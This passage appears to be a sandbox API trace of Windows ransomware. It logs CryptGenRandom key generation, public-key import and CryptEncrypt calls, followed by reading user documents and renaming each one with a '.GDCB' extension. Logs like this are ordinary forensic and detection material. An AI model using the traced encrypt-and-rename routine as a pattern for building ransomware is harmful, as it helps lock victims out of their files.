(lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\1UScSaKRACH3OPj.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\1uscsakrach3opj.odt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\1UScSaKRACH3OPj.odt.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\1uscsakrach3opj.odt.gdcb")) returned 1 [0138.563] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0138.564] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.564] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.564] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0138.564] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.564] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ed300) returned 1 [0138.564] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.564] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.564] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0138.565] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0138.565] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0138.566] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34c928) returned 1 [0138.567] CryptGetKeyParam (in: hKey=0x34c928, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.567] CryptEncrypt (in: hKey=0x34c928, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0138.567] GetLastError () returned 0x0 [0138.567] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.567] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0138.568] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34cae8) returned 1 [0138.569] CryptGetKeyParam (in: hKey=0x34cae8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.569] CryptEncrypt (in: hKey=0x34cae8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0138.569] GetLastError () returned 0x0 [0138.569] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.569] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\bnQE.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\bnqe.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0138.569] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.570] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.570] ReadFile (in: hFile=0x4f0, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285efc0*=0x183d7, lpOverlapped=0x0) returned 1 [0138.579] VirtualAlloc (lpAddress=0x0, dwSize=0x183e0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.585] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\bnQE.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\bnqe.pps"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\bnQE.pps.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\bnqe.pps.gdcb")) returned 1 [0138.586] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0138.587] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.587] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.587] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0138.587] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.587] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecca0) returned 1 [0138.587] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.587] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.587] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0138.588] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0138.588] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0138.590] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34c828) returned 1 [0138.590] CryptGetKeyParam (in: hKey=0x34c828, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.590] CryptEncrypt (in: hKey=0x34c828, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0138.590] GetLastError () returned 0x0 [0138.590] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.590] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed0e0) returned 1 [0138.592] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34cce8) returned 1 [0138.592] CryptGetKeyParam (in: hKey=0x34cce8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.592] CryptEncrypt (in: hKey=0x34cce8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0138.592] GetLastError () returned 0x0 [0138.592] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0138.592] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\D6YOUnG.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\d6young.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0138.592] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.593] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.593] ReadFile (in: hFile=0x4f0, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285efc0*=0xd0a9, lpOverlapped=0x0) returned 1 [0138.602] VirtualAlloc (lpAddress=0x0, dwSize=0xd0b0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.607] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\D6YOUnG.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\d6young.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\D6YOUnG.pptx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\d6young.pptx.gdcb")) returned 1 [0138.608] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ed0e0) returned 1 [0138.608] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.608] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.608] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0138.608] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0138.609] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0138.609] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.609] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.609] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0138.609] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.609] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0138.611] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34c868) returned 1 [0138.611] CryptGetKeyParam (in: hKey=0x34c868, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.611] CryptEncrypt (in: hKey=0x34c868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0138.611] GetLastError () returned 0x0 [0138.611] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.611] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0138.613] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34ca68) returned 1 [0138.613] CryptGetKeyParam (in: hKey=0x34ca68, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.613] CryptEncrypt (in: hKey=0x34ca68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0138.613] GetLastError () returned 0x0 [0138.613] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.613] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\l_9IL425VzhWVYOQGgg3.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\l_9il425vzhwvyoqggg3.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0138.614] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.614] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.614] ReadFile (in: hFile=0x4f0, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285efc0*=0x14af9, lpOverlapped=0x0) returned 1 [0138.637] VirtualAlloc (lpAddress=0x0, dwSize=0x14b00, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.643] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\l_9IL425VzhWVYOQGgg3.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\l_9il425vzhwvyoqggg3.ots"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\l_9IL425VzhWVYOQGgg3.ots.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\l_9il425vzhwvyoqggg3.ots.gdcb")) returned 1 [0138.643] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0138.643] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0138.643] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0138.643] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0138.647] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ed300) returned 1 [0138.648] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.648] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.648] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0138.648] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0138.648] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecfd0) returned 1 [0138.649] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.649] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.649] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0138.649] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.649] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0138.651] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34cba8) returned 1 [0138.651] CryptGetKeyParam (in: hKey=0x34cba8, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.651] CryptEncrypt (in: hKey=0x34cba8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0138.651] GetLastError () returned 0x0 [0138.651] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.651] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0138.653] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34cc68) returned 1 [0138.653] CryptGetKeyParam (in: hKey=0x34cc68, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.653] CryptEncrypt (in: hKey=0x34cc68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0138.653] GetLastError () returned 0x0 [0138.653] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.653] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\-5DB1ff.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\-5db1ff.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0138.653] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.654] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.654] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x1704d, lpOverlapped=0x0) returned 1 [0138.663] VirtualAlloc (lpAddress=0x0, dwSize=0x17050, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.669] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\-5DB1ff.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\-5db1ff.xls"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\-5DB1ff.xls.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\-5db1ff.xls.gdcb")) returned 1 [0138.675] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0138.676] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.676] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.676] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0138.676] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.676] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecca0) returned 1 [0138.677] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.677] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0138.677] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0138.677] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0138.679] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34d6e8) returned 1 [0138.679] CryptGetKeyParam (in: hKey=0x34d6e8, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.679] CryptEncrypt (in: hKey=0x34d6e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0138.679] GetLastError () returned 0x0 [0138.679] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.679] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0138.681] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34d1e8) returned 1 [0138.681] CryptGetKeyParam (in: hKey=0x34d1e8, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.681] CryptEncrypt (in: hKey=0x34d1e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0138.681] GetLastError () returned 0x0 [0138.681] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.681] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\CH63OfWwkwX.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\ch63ofwwkwx.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0138.681] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.682] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.682] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0xfb7a, lpOverlapped=0x0) returned 1 [0138.696] VirtualAlloc (lpAddress=0x0, dwSize=0xfb80, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.702] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\CH63OfWwkwX.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\ch63ofwwkwx.odp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\CH63OfWwkwX.odp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\ch63ofwwkwx.odp.gdcb")) returned 1 [0138.703] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0138.704] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.704] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.704] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0138.704] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.704] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecfd0) returned 1 [0138.704] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.704] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.704] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0138.704] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.705] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0138.706] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34d3a8) returned 1 [0138.707] CryptGetKeyParam (in: hKey=0x34d3a8, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.707] CryptEncrypt (in: hKey=0x34d3a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0138.707] GetLastError () returned 0x0 [0138.707] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.707] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0138.709] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34d6a8) returned 1 [0138.709] CryptGetKeyParam (in: hKey=0x34d6a8, dwParam=0x8, 